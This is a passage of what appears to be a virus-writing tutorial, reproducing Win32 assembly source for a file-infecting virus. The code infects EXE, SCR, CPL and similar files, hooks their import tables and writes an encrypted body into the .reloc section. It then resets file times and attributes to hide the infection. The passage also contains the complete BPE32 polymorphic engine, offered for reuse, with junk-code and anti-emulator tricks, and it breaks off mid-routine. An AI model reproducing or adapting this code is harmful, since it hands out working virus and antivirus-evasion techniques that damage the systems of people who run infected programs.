ExamplesInfect: @SEH_SetupFrame call InfectFilejmp _c1_ok;setup SEH frame;check and infect file;and quitInfectFile:lea esi, [esi.WFD_szFileName]pushadxor eax, eaxpush eaxpush FILE_ATTRIBUTE_NORMALpush OPEN_EXISTINGpush eaxpush eaxpush GENERIC_READ or GENERIC_WRITEpush esimov eax, 0ddCreateFileA = dword ptr $-4call eaxinc eaxje r_attrdec eaxmov [ebp + hFile - mgdelta], eax;get filename;open file;quit if error;save handlexor edx, edxpush edxpush edxpush edxpush PAGE_READWRITEpush edxpush eaxmov eax, 0ddCreateFileMappingA = dword ptr $-4call eaxxchg eax, ecxjecxz endCreateMappingmov [ebp + hMapFile - mgdelta], ecx;create file mapping;quit if error;save handlexor edx, edxpush edxpush edxpush edxpush FILE_MAP_WRITEpush ecxmov eax, 0ddMapViewOfFile = dword ptr $-4call eaxxchg eax, ecx;map view of file59


Examplesjecxz endMapFilemov [ebp + lpFile - mgdelta], ecxjmp nOpen;quit if error;save base addressendMapFile:push_LARGE_0lpFile = dword ptr $-4mov eax, 0ddUnmapViewOfFile = dword ptr $-4call eax;store base address;unmap view of fileendCreateMapping:push_LARGE_0;store handlehMapFile = dword ptr $-4call [ebp + ddCloseHandle - mgdelta] ;close file mappinglea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]push eaxlea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]push eaxlea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]push eaxpush dword ptr [ebp + hFile - mgdelta]mov eax, 0ddSetFileTime = dword ptr $-4call eax;set back file timepush_LARGE_0;store handlehFile = dword ptr $-4call [ebp + ddCloseHandle - mgdelta] ;close filer_attr: push dword ptr [ebp + data_buffer - mgdelta]lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]push esi;filenamecall [ebp + ddSetFileAttributesA - mgdelta] ;set back file attributesjmp c_error;and quitnOpen: mov ebx, ecxcmp word ptr [ebx], IMAGE_DOS_SIGNATURE ;must be MZjne endMapFilemov esi, [ebx.MZ_lfanew]add esi, ebxlodsdcmp eax, IMAGE_NT_SIGNATURE;must be PE\0\0jne endMapFilecmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+jne endMapFilemov ax, [esi.FH_Characteristics]60


Examplestest ax, IMAGE_FILE_EXECUTABLE_IMAGE ;must be executableje endMapFiletest ax, IMAGE_FILE_DLL;mustnt be DLLjne endMapFiletest ax, IMAGE_FILE_SYSTEM;mustnt be system filejne endMapFilemov al, byte ptr [esi.OH_Subsystem]test al, IMAGE_SUBSYSTEM_NATIVE ;and mustnt be driver (thanx GriYo !)jne endMapFilemovzx ecx, word ptr [esi.FH_NumberOfSections] ;must be more than onesectiondec ecxtest ecx, ecxje endMapFileimul eax, ecx, IMAGE_SIZEOF_SECTION_HEADERmovzx edx, word ptr [esi.FH_SizeOfOptionalHeader]lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]add edi, esi;get to section headerlea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]mov eax, [edx]test eax, eaxje endMapFile;quit if no relocsmov ecx, [edi.SH_VirtualAddress]cmp ecx, eaxjne endMapFile;is it .reloc section?cmp [edi.SH_SizeOfRawData], 1a00hjb endMapFile;check if .reloc is big enoughpushadxor eax, eaxmov edi, edxstosd;erase .reloc recordsstosdpopadmov eax, ebx;now we will try toxor ecx, ecx;patchit_patch:pushad;one API callmov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta] ;get CRC32test edx, edxjne c_patchpopadjmp end_patch;quit if end of recordc_patch:push dword ptr [edi.SH_VirtualAddress] ;patch addresspush edx;CRC32mov [ebp + r2rp - mgdelta], eax;infection stage61


Examplescall PatchITmov [esp.Pushad_edx], eaxtest eax, eaxpopadjne end_patchinc ecxjmp it_patch;try to patch API call;save address;quit if we got address;API call not found, try another APIend_patch:mov eax, edxmov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image basemov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save itlea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]push dword ptr [edx];store prev. API callmov [edx], eax;save new onepushad;store all registerslea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]mov edi, [edi.SH_PointerToRawData]add edi, ebx;where to write bodymov ecx, (decompressed-VulcanoInit+3)/4 ;size of <strong>virus</strong> bodycall BPE32;write morphed body to file!mov [esp.Pushad_eax], eax;save sizepopadpop dword ptr [edx];restore API callor dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE;set flagslea ecx, [edi.SH_VirtualSize];get virtual sizeadd [ecx], eax;correct itmov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]xor edx, edxdiv ecxinc eaxmul ecxmov edx, [edi.SH_SizeOfRawData]mov [edi.SH_SizeOfRawData], eax;align SizeOfRawDatatest dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATAje rs_oksub eax, edxadd [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax;update next field, if neededrs_ok: mov eax, [edi.SH_VirtualAddress]add eax, [edi.SH_VirtualSize]xor edx, edxmov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]div ecxinc eaxmul ecxmov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage62


Examplesjmp endMapFile;everything is ok, we can quitCheckFile:pushadmov ebx, esitest [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORYjne c_error;discard directory entriesxor ecx, ecxcmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GBjne c_errormov edi, [ebx.WFD_nFileSizeLow]cmp edi, 4000h;discard small filesjb c_errorlea esi, [ebx.WFD_szFileName]push esiendf: lodsbcmp al, '.'jne endfdec esilodsdor eax, 20202020hnot eaxpop esicmp eax, not 'exe.'je extOKcmp eax, not 'rcs.'je extOKcmp eax, not 'xfs.'je extOKcmp eax, not 'lpc.'je extOKcmp eax, not 'tad.'je extOKcmp eax, not 'kab.'je extOKxor ecx, ecxinc ecxc_error:mov [esp.Pushad_ecx], ecxpopadretextOK: push FILE_ATTRIBUTE_NORMALpush esimov eax, 0ddSetFileAttributesA = dword ptr $-4call eaxxchg eax, ecxjmp c_error;get filename;search for dot;get filename extension;make it lowercase;mask it;is it EXE?;is it SCR?;is it SFX?;is it CPL?;is it DAT?;is it BAK?;save result;normal file;filename;blank file attributes63


Examplesget_set_VLCB:;get/set VLCB records procedure (IPC);input: ECX - 0=set/wait else wait/get; ESI - pointer to data, if ECX!=0; EBX - ID number of request; EDX - -1, if random thread, otherwise; - number of thread.;output:ECX - if input ECX!=0, ECX=ID; - if error, ECX=-1; EDX - if ECX!=0, number of thread; ESI - ptr to data, if input ECX=0mov edi, 0vlcbBase = dword ptr $-4inc edxje t_rnd;get random recorddec edximul eax, edx, VLCB_TSize-8add edi, eaxjecxz sw_VLCBcmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0je qqcall w_wait;wait for free mutexpushadxchg esi, edilea esi, [esi.VLCB_TSep.VLCB_TData]mov ecx, (VLCB_TSize-8)/4rep movsd;copy datapopadmov ecx, [edi.VLCB_TSep.VLCB_TID] ;get IDpush ecxcall r_mutex;release mutexpop ecxret;and quitt_next: add edi, VLCB_TSize-8;move to next recordinc edxloop tsrchqqq: pop ecxqq: xor ecx, ecxdec ecxrett_rnd: push ecx;pass thru 20 recordspush 20pop ecxxor edx, edxtsrch: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0je t_next;check if its freepop ecx64


Examplessw_VLCB:call w_wait;wait for free mutexpushadlea edi, [edi.VLCB_TSep.VLCB_TData]mov ecx, (VLCB_TSize-8)/4rep movsd;copy datapopadmov [edi.VLCB_TSep.VLCB_TID], ebxpushadlea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]mov ebp, [esi];get resultcall r_mutex;signalize mutexslp: call sleep ;switch to next threadcmp [esi], ebp;check for changeje slp;no change, waitpopadxor ecx, ecxret;quitw_wait: call open_mutex;open mutexpush eaxpush 10000;wait 10 secondspush eaxmov eax, 0ddWaitForSingleObject = dword ptr $-4call eaxtest eax, eaxpop eaxjne qqq;quit if not signalizedcall close_mutex;close mutexret;and quitopen_mutex:lea eax, [edi.VLCB_TSep.VLCB_THandle] ;name of mutexpush eaxpush 0push 0f0000h or 100000h or 1;access flagsmov eax, 0ddOpenMutexA = dword ptr $-4;open mutexcall eaxretr_mutex:call open_mutex;open mutexpush eaxpush eaxmov eax, 0ddReleaseMutex = dword ptr $-4call eax;singalize mutexpop eaxclose_mutex:push eaxmov eax, 065


ExamplesddCloseHandle = dword ptr $-4call eaxretsleep: push 0mov eax, 0ddSleep = dword ptr $-4call eaxret;close mutex;switch to next thread;switch!Check&Infect:pushadmov esi, ebx;get ptr to datapushadcall vlcb_stuph;common stuphmov ebx, VLCB_Check;check onlycall get_set_VLCB;IPC!inc ecxpopadje _ret_;quit if errormov eax, dword ptr [esi.WFD_szAlternateFileName]dec eaxtest eax, eaxje _ret_sc1_ok: call vlcb_stuph;common stuphmov ebx, VLCB_Infect;check and infectcall get_set_VLCB;IPC!_ret_: popadretCRC32: push ecx ;procedure to calculate CRC32push edxpush ebxxor ecx, ecxdec ecxmov edx, ecxNextByteCRC:xor eax, eaxxor ebx, ebxlodsbxor al, clmov cl, chmov ch, dlmov dl, dhmov dh, 8NextBitCRC:shr bx, 1rcr ax, 166


Examplesjnc NoCRCxor ax, 08320hxor bx, 0edb8hNoCRC: dec dhjnz NextBitCRCxor ecx, eaxxor edx, ebxdec edijne NextByteCRCnot edxnot ecxpop ebxmov eax, edxrol eax, 16mov ax, cxpop edxpop ecxretSearchET:;procedure for recieving API names from Export tablepushad;save all registers@SEH_SetupFrame ;setup SEH framemov edi, [eax.MZ_lfanew];get ptr to PE headeradd edi, eax;make pointer rawmov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]jecxz address_not_found;quit, if no exportsmov ebx, eaxadd ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]mov edx, eax;get RVA to Export tableadd edx, [ebx.ED_AddressOfNames] ;offset to namesmov ecx, [ebx.ED_NumberOfNames];number of namemov edi, esipush edixchg eax, ebpxor eax, eaxAPIname:push eaxmov esi, ebpadd esi, [edx+eax*4];get to API namepush esi@endsz;get to the end of API namesub esi, [esp];get size of API namemov edi, esi;to EDIpop esi;restore ptr to API namecall CRC32;get its CRC32mov edi, [esp+4];get requested CRC32cmp eax, [edi];is it samepop eax67


Examplesje mcrc;yeahnchar: inc eax;no, increment counterloop APIname;and get next API namepop eax;clean stackaddress_not_found:xor eax, eax;and quitjmp endGPAmcrc: pop edxmov edx, ebpadd edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinalsmovzx eax, word ptr [edx+eax*2]cmp eax, [ebx.ED_NumberOfFunctions]jae address_not_foundmov edx, ebpadd edx, [ebx.ED_AddressOfFunctions] ;get start of function addressesadd ebp, [edx+eax*4];make it pointer to our APIxchg eax, ebp;address to EAXendGPA: @SEH_RemoveFrame;remove SEH framemov [esp.Pushad_eax], eax;store addresspopad;restore all registersret;and quita_go: inc esi ;jump over alignmentsinc esipushad;store all registersxor edx, edx;zero EDXxchg eax, esipush 2pop ecxdiv ecxtest edx, edxje end_align;no alignments neededinc eax;align API nameend_align:mul ecxmov [esp.Pushad_esi], eaxpopad;restore all registersretPatchIT Proc;procedure for patching API callspushad;store all registers@SEH_SetupFrame ;setup SEH framecall itDltaitDelta:db 0b8hitDlta: pop ebpmov [ebp + gmh - itDelta], eax;save it68


Examplesmov ebx, [eax.MZ_lfanew];get to PE headeradd ebx, eax;make pointer rawpush dword ptr[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]call rva2rawpop edxsub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTORpush edin_dll: pop ediadd edx, IMAGE_SIZEOF_IMPORT_DESCRIPTORlea edi, [ebp + szK32 - itDelta] ;get Kernel32 namemov esi, [edx]test esi, esije endPITsdll: push dword ptr [edx.ID_Name]call rva2rawpop esipush edicmpsd ;is it K32?jne n_dllcmpsdjne n_dllcmpsdjne n_dllpop edixor ecx, ecx;zero counterpush dword ptr [edx.ID_OriginalFirstThunk] ;get first recordcall rva2rawpop esipush dword ptr [esi];get first API namecall rva2rawpop esipit_align:call a_gopush esi;store pointer@endsz;get to the end of API namemov edi, esisub edi, [esp];move size of API name to EDIpop esi;restore pointerpush eax;store EAXcall CRC32;calculate CRC32 of API namecmp eax, [esp.cPushad+10h];check, if it is requested APIje a_ok;yeah, it isinc ecxmov eax, [esi];check, if there is next APItest eax, eax ;...pop eax;restore EAXjne pit_align;yeah, check it69


Examplesjmp endPIT;no, quita_ok: pop eax ;restore EAXpush dword ptr [edx.ID_FirstThunk] ;get address to IATcall rva2rawpop edxmov eax, [edx+ecx*4];get addressmov [esp.Pushad_eax+8], eax;and save it to stackpushad;store all registersmov eax, 0;get base address of programgmh = dword ptr $-4mov ebx, [eax.MZ_lfanew]add ebx, eax;get PE headerpush dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] ;get base of codecall rva2raw;normalizepop esi;to ESImov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] ;and its sizepushadcall p_vardd ?p_var: push PAGE_EXECUTE_READWRITEpush ecxpush esimov eax, 0ddVirtualProtect = dword ptr $-4call eax;set writable righttest eax, eaxpopadje endPITsJMP: mov dl, [esi] ;get byte from codeinc esicmp dl, 0ffh;is it JMP/CALL?jne lJMP;check, if it iscmp byte ptr [esi], 25h;JMP DWORD PTR [XXXXXXXXh]je gIT1cmp byte ptr [esi], 15h;or CALL DWORD PTR [XXXXXXXXh]jne lJMPmov dl, 0e8hjmp gIT2gIT1: mov dl, 0e9hgIT2: mov [ebp + j_or_c - itDelta], dl ;change opcodemov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]push ecxmov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]add edi, ecxpush ebpmov ebp, [esi+1]70


Examplessub ebp, ecxpush ebpcall rva2rawpop ebpsub ebp, eaxadd ebp, ecxsub edi, ebppop ebppop ecxjs lJMP;check, if it is correct addresspush ecxpush edx;store EDXmov edx, [esp.Pushad_ecx+8];get counterimul edx, 4 ;multiply it by 4add edx, [esp.Pushad_edx+8];add address to IAT to ptrsub edx, eaxmov ecx, [esi+1]sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]push ecxcall rva2rawpop ecxsub ecx, eaxcmp edx, ecx;is it current addresspop edxpop ecx;restore EDXjne sJMP;no, get next addressmov eax, [esi+1]mov [esp.cPushad.Pushad_eax+8], eax ;store register to stackmov [esp.Pushad_esi], esi;for l8r usepopad;restore all registersmov byte ptr [esi-1], 0e9h;build JMP or CALLj_or_c = byte ptr $-1mov ebx, [esi+1]mov eax, [esp.cPushad+10h];get addressadd eax, [ebp + gmh - itDelta]sub eax, esi;- current addresssub eax, 4 ;+1-5mov [esi], eax;store built jmp instructionmov byte ptr [esi+4], 90hxchg eax, ebxjmp endIT;and quitlJMP: dec ecxjecxz endPIT-1jmp sJMP;search in a looppopad;restore all registersendPIT: xor eax, eaxmov [esp.Pushad_eax+8], eax71


ExamplesendIT: @SEH_RemoveFramepopadret 8PatchIT EndP;remove SEH frame;restore all registers;and quitrva2raw:pushad;procedure for converting RVAs to RAW pointersmov ecx, 0;0 if actual programr2rp = dword ptr $-4jecxz nr2rmov edx, [esp.cPushad+4] ;no comments needed :)movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]n_r2r: mov edi, [esi.SH_VirtualAddress]add edi, [esi.SH_VirtualSize]cmp edx, edijb c_r2radd esi, IMAGE_SIZEOF_SECTION_HEADERloop n_r2rpopadretnr2r: add [esp.cPushad+4], eaxpopadretc_r2r: add eax, [esi.SH_PointerToRawData]add eax, edxsub eax, [esi.SH_VirtualAddress]mov [esp.cPushad+4], eaxpopadretNewThread:;thread starts herepushad;store all registers@SEH_SetupFrame mov ebp, [esp+2ch];get delta parameterxor ecx, ecx;zero ECXand dword ptr [ebp + r2rp - gdelta], 0g_hook: mov eax, [ebp + newHookers + ecx*4 - gdelta] ;take address to hookertest eax, eax ;is it 0?je q_hook;yeah, quitadd eax, ebpsub eax, [ebp + GMHA - gdelta]push eax;store addresspush dword ptr [ebp + crchAPIs + ecx*4 - gdelta] ;store CRC32mov eax, 0GMHA = dword ptr $-4call PatchIT;and patch Import Table72


Examplesmov esi, [ebp + oldHookers + ecx*4 - gdelta]add esi, ebpmov [esi], eax;save old hookerinc ecx;increment counterjmp g_hook;loopq_hook: @SEH_RemoveFramepopad;restore all registersret;and terminate thread;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes,;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So,;if u wanna use BPE32 in your code, use this version, not that version from;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it.;I also included there SALC opcode as a junk instruction.BPE32Procpushad;save all regspush edi;save these regs for l8r usepush ecx ; ...mov edx, edi ; ...push esi;preserve this regcall rjunk;generate random junk instructionspop esi;restore itmov al, 0e8h;create CALL instructionstosb ; ...mov eax, ecx ; ...imul eax, 4 ; ...stosd ; ...mov eax, edx;calculate size of CALL+junxsub edx, edi ; ...neg edx ; ...add edx, eax ; ...push edx;save itpush 0;get random numbercall random ; ...xchg edx, eaxmov [ebp + xor_key - mgdelta], edx ;use it as xor constantpush 0;get random numbercall random ; ...xchg ebx, eaxmov [ebp + key_inc - mgdelta], ebx ;use it as key increment constantx_loop: lodsd;load DWORDxor eax, edx;encrypt itstosd;store encrypted DWORD73


Examplesadd edx, ebxloop x_loop;increment key;next DWORDcall rjunk;generate junxmov eax, 0006e860h;generate SEH handlerstosd ; ...mov eax, 648b0000h ; ...stosd ; ...mov eax, 0ceb0824h ; ...stosd ; ...greg0: call get_reg;get random registercmp al, 5;MUST NOT be EBP registerje greg0mov bl, al;store registermov dl, 11;proc parameter (do not generate MOV)call make_xor;create XOR or SUB instructioninc edx;destroy parametermov al, 64h;generate FS:stosb;store itmov eax, 896430ffh;next SEH instructionsor ah, bl;change registerstosd;store themmov al, 20h ; ...add al, bl ; ...stosb ; ...push 2;get random numbercall randomtest eax, eaxje _byte_mov al, 0feh;generate INC DWORD PTRjmp _dw__byte_: mov al, 0ffh;generate INC BYTE PTR_dw_: stosb ;store itmov al, bl;store registerstosb ; ...mov al, 0ebh;generate JUMP SHORTstosb ; ...mov al, -24d;generate jump to start of code (trickstosb;for better emulators, e.g. NODICE32)call rjunkgreg1: call get_regcmp al, 5je greg1mov bl, al;generate junx;generate random register;MUST NOT be EBP;store it74


Examplescall make_xor ;generate XOR,SUB reg, reg or MOV reg, 0mov al, 64h;next SEH instructionsstosb ; ...mov al, 8fh ; ...stosb ; ...mov al, bl ; ...stosb ; ...mov al, 58h ; ...add al, bl ; ...stosb ; ...mov al, 0e8h;generate CALLstosb ; ...xor eax, eax ; ...stosd ; ...push edi;store for l8r usecall rjunk;call junk generatorcall get_reg;random registermov bl, al;store itpush 1 ;random number (0-1)call random ; ...test eax, eaxjne next_deltamov al, 8bhstosbmov al, 80hor al, blrol al, 3stosbmov al, 24hstosbmov al, 58hjmp bdelta;generate MOV reg, [ESP]; POP EAXnext_delta:mov al, bl ;generate POP reg; SUB reg, ...add al, 58hbdelta: stosbmov al, 81hstosbmov al, 0e8hadd al, blstosbpop eax75


Examplesstosdcall rjunk;random junxxor bh, bh;parameter (first execution only)call greg2 ;generate MOV sourcereg, ...mov al, 3;generate ADD sourcereg, deltaoffsetstosb ; ...mov al, 18h ; ...or al, bh ; ...rol al, 3 ; ...or al, bl ; ...stosb ; ...mov esi, ebx;store EBXcall greg2 ;generate MOV countreg, ...mov cl, bh;store count registermov ebx, esi;restore EBXcall greg3 ;generate MOV keyreg, ...push edi;store this position for jump to decryptormov al, 31h;generate XOR [sourcereg], keyregstosb ; ...mov al, ch ; ...rol al, 3 ; ...or al, bh ; ...stosb ; ...push 6call randomtest eax, eaxje g5cmp al, 1je g1cmp al, 2je g2cmp al, 3je g3cmp al, 4je g4;this stuff will choose ordinary of calls;to code generators;GREG4 - key incremention;GREG5 - source incremention;GREG6 - count decremention;GREG7 - decryption loopg0: call gg1call greg6jmp g_endg1: call gg2call greg5jmp g_endg2: call greg5call gg2jmp g_end76


Examplesg3: call greg5gg3: call greg6jmp g_outg4: call greg6call gg1jmp g_endg5: call greg6call greg5g_out: call greg4g_end: call greg7mov al, 61h;generate POPAD instructionstosb ; ...call rjunk;junk instruction generatormov al, 0c3h;RET instructionstosb ; ...pop eax;calculate size of decryptor and encrypteddatasub eax, edi ; ...neg eax ; ...mov [esp.Pushad_eax], eax;store it to EAX registerpopad;restore all regsret;and thats all folxget_reg proc;this procedure generates random registerpush 8 ;random number (0-7)call random ; ...test eax, eaxje get_reg ;MUST NOT be 0 (=EAX is used as junkregister)cmp al, 100b;MUST NOT be ESPje get_regretget_reg endpmake_xor proc ;this procedure will generate instruction,thatpush 3;will nulify register (BL as parameter)call randomtest eax, eaxje _sub_cmp al, 1je _mov_mov al, 33h;generate XOR reg, regjmp _xor__sub_: mov al, 2bh;generate SUB reg, reg_xor_: stosbmov al, 18hor al, blrol al, 3or al, bl77


Examplesstosbret_mov_: cmp dl, 11 ;generate MOV reg, 0je make_xormov al, 0b8hadd al, blstosbxor eax, eaxstosdretmake_xor endpgg1: call greg4jmp greg5gg2: call greg4jmp greg6random proc;this procedure will generate random number;in range from 0 to pushed_parameter-1;0 = do not truncate resultpush edx;save EDXRDTCS;RDTCS instruction - reads PCs tix andstores;number of them into pair EDX:EAXxor edx, edx;nulify EDX, we need only EAXcmp [esp+8], edx ;is parameter==0 ?je r_out;yeah, do not truncate resultdiv dword ptr [esp+8];divide itxchg eax, edx;remainder as resultr_out: pop edx;restore EDXret Pshd;quit procedure and destroy pushed parameterrandom endpmake_xor2 proc;create XOR instructionmov al, 81hstosbmov al, 0f0hadd al, bhstosbretmake_xor2 endpgreg2 proc ;1 parameter = source/count valuecall get_reg;get registercmp al, bl ;already used ?je greg2cmp al, 5je greg2cmp al, bhje greg278


Examplesmov bh, almov ecx, [esp+4]push 5call randomtest eax, eaxje s_next0cmp al, 1je s_next1cmp al, 2je s_next2cmp al, 3je s_next3;get parameter;choose instructionsmov al, 0b8hadd al, bhstosbpush 0call randomxor ecx, eaxstosdcall make_xor2mov eax, ecxjmp n_end2s_next0:mov al, 68hstosbpush 0call randomxchg eax, ecxxor eax, ecxstosdmov al, 58hadd al, bhstosbcall make_xor2xchg eax, ecxjmp n_end2s_next1:mov al, 0b8hstosbpush 0call randomstosdpush eaxmov al, 8bhstosbmov al, 18hor al, bhrol al, 3;MOV reg, random_value;XOR reg, value;param = random_value xor value;PUSH random_value;POP reg;XOR reg, value;result = random_value xor value;MOV EAX, random_value;MOV reg, EAX;SUB reg, value;result = random_value - value79


Examplesstosbmov al, 81hstosbmov al, 0e8hadd al, bhstosbpop eaxsub eax, ecxjmp n_end2s_next2:push ebxmov bl, bhcall make_xorpop ebxcall make_xor2push 0call randomsub ecx, eaxstosdpush ecxcall s_lblpop eaxjmp n_end2s_lbl: mov al, 81hstosbmov al, 0c0hadd al, bhstosbrets_next3:push ebxmov bl, bhcall make_xorpop ebxpush 0call randompush eaxxor eax, ecxxchg eax, ecxcall s_lblxchg eax, ecxstosdcall make_xor2pop eaxn_end2: stosdpush esicall rjunkpop esiret Pshdgreg2 endp;XOR reg, reg;XOR reg, random_value;ADD reg, value;result = random_value + value;create ADD reg, ... instruction;XOR reg, reg;ADD reg, random_value;XOR reg, value;result = random_value xor value80


Examplesgreg3 proccall get_reg;get registercmp al, 5 ;already used ?je greg3cmp al, blje greg3cmp al, bhje greg3cmp al, clje greg3mov ch, almov edx, 0;get encryption key valuexor_key = dword ptr $ - 4push 3call randomtest eax, eaxje k_next1cmp al, 1je k_next2push ebxmov bl, chcall make_xorpop ebx;XOR reg, reg;OR, ADD, XOR reg, valuemov al, 81hstosbpush 3call randomtest eax, eaxje k_nxt2cmp al, 1je k_nxt3mov al, 0c0hk_nxt1: add al, chstosbxchg eax, edxn_end1: stosdk_end: call rjunkretk_nxt2: mov al, 0f0hjmp k_nxt1k_nxt3: mov al, 0c8hjmp k_nxt1k_next1:mov al, 0b8h;MOV reg, value81


Examplesjmp k_nxt1k_next2:mov al, 68hstosbxchg eax, edxstosdmov al, chadd al, 58hjmp i_end1greg3 endp;PUSH value;POP reggreg4 procmov edx, 0key_inc = dword ptr $ - 4i_next: push 3call randomtest eax, eaxje i_next0cmp al, 1je i_next1cmp al, 2je i_next2;get key increment valuemov al, 90hadd al, chstosbpush ebxmov bl, chcall make_xorpop ebxmov al, 0bhstosbmov al, 18hadd al, chrol al, 3stosbi_next0:mov al, 81hstosbmov al, 0c0hadd al, chstosbxchg eax, edxjmp n_end1i_next1:mov al, 0b8hstosbxchg eax, edxstosdmov al, 3stosb;XCHG EAX, reg;XOR reg, reg;OR reg, EAX;ADD reg, value;ADD reg, value;MOV EAX, value;ADD reg, EAX82


Examplesmov al, 18hor al, chrol al, 3i_end1: stosbi_end2: call rjunkreti_next2:mov al, 8bhstosbmov al, 0c0hadd al, chstosbmov al, 5stosbxchg eax, edxstosdmov al, 90hadd al, chjmp i_end1greg4 endp;MOV EAX, reg;ADD EAX, value;XCHG EAX, reggreg5 procpush ecxmov ch, bhpush 4pop edxpush 2call randomtest eax, eaxjne ng5call i_next;same as previous, value=4pop ecxjmp k_endng5: mov al, 40h ;4x inc regadd al, chpop ecxstosbstosbstosbjmp i_end1greg5 endpgreg6procpush 5call randomtest eax, eaxje d_next0cmp al, 1je d_next183


Examplescmp al, 2je d_next2mov al, 83h ;SUB reg, 1stosbmov al, 0e8hadd al, clstosbmov al, 1jmp i_end1d_next0:mov al, 48h;DEC regadd al, cljmp i_end1d_next1:mov al, 0b8h;MOV EAX, random_valuestosb;SUB reg, EAXpush 0;ADD reg, random_value-1call randommov edx, eaxstosdmov al, 2bhstosbmov al, 18hadd al, clrol al, 3stosbmov al, 81hstosbmov al, 0c0hadd al, clstosbdec edxmov eax, edxjmp n_end1d_next2:mov al, 90h;XCHG EAX, regadd al, cl;DEC EAXstosb;XCHG EAX, regmov al, 48hstosbmov al, 90hadd al, cljmp i_end1greg6 endpgreg7procmov edx, [esp+4]dec edxpush 2call random84


Examplestest eax, eaxje l_next0mov al, 51hstosbmov al, 8bhstosbmov al, 0c8hadd al, clstosbmov eax, 0eb5903e3hstosdsub edx, edimov al, dlstosbmov al, 59hjmp l_nextl_next0:push ebxxor bl, blcall make_xorpop ebxmov al, 48hstosbmov al, 3stosbmov al, 0c0hadd al, clstosbmov al, 79hstosbsub edx, edimov al, dll_next: stosbcall rjunkret Pshdgreg7 endp;PUSH ECX;MOV ECX, reg;JECXZ label;POP ECX;JMP decrypt_loop;label:;POP ECX;XOR EAX, EAX;DEC EAX;ADD EAX, reg;JNS decrypt_looprjunkjc:push 7call randomjmp rjnrjunk proc ;junk instruction generatorpush 8call random;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump andcallrjn: test eax, eaxje j5cmp al, 1je j_1x2cmp al, 285


Examplesje j_2x1cmp al, 4je j2cmp al, 5je j3cmp al, 6je r_endcmp al, 7je jcjj1: call junx1 ;one byte junk instructionnopdec eaxSALCinc eaxclccwdestccldjunx1: pop esipush 8call randomadd esi, eaxmovsbretj_1x2: call j1;one byte and two bytejmp j2j_2x1: call j2;two byte and one bytejmp j1j3: call junx3db 0c1h, 0c0h ;rol eax, ...db 0c1h, 0e0h ;shl eax, ...db 0c1h, 0c8h ;ror eax, ...db 0c1h, 0e8h ;shr eax, ...db 0c1h, 0d0h ;rcl eax, ...db 0c1h, 0f8h ;sar eax, ...db 0c1h, 0d8h ;rcr eax, ...db 083h, 0c0hdb 083h, 0c8hdb 083h, 0d0hdb 083h, 0d8hdb 083h, 0e0hdb 083h, 0e8hdb 083h, 0f0hdb 083h, 0f8h ;cmp eax, ...db 0f8h, 072h ;clc; jc ...db 0f9h, 073h ;stc; jnc ...86


Examplesjunx3: pop esi;three byte junk instructionpush 17call randomimul eax, 2add esi, eaxmovsbmovsbr_ran: push 0call randomtest al, alje r_ranstosbretj2: call junx2db 8bh ;mov eax, ...db 03h ;add eax, ...db 13h ;adc eax, ...db 2bh ;sub eax, ...db 1bh ;sbb eax, ...db 0bh ;or eax, ...db 33h ;xor eax, ...db 23h ;and eax, ...db 33h ;test eax, ...junx2: pop esi;two byte junk instructionpush 9call randomadd esi, eaxmovsbpush 8call randomadd al, 11000000bstosbr_end: retj5: call junx5db 0b8h ;mov eax, ...db 05h ;add eax, ...db 15h ;adc eax, ...db 2dh ;sub eax, ...db 1dh ;sbb eax, ...db 0dh ;or eax, ...db 35h ;xor eax, ...db 25h ;and eax, ...db 0a9h ;test eax, ...db 3dh ;cmp eax, ...junx5: pop esipush 10;five byte junk instruction87


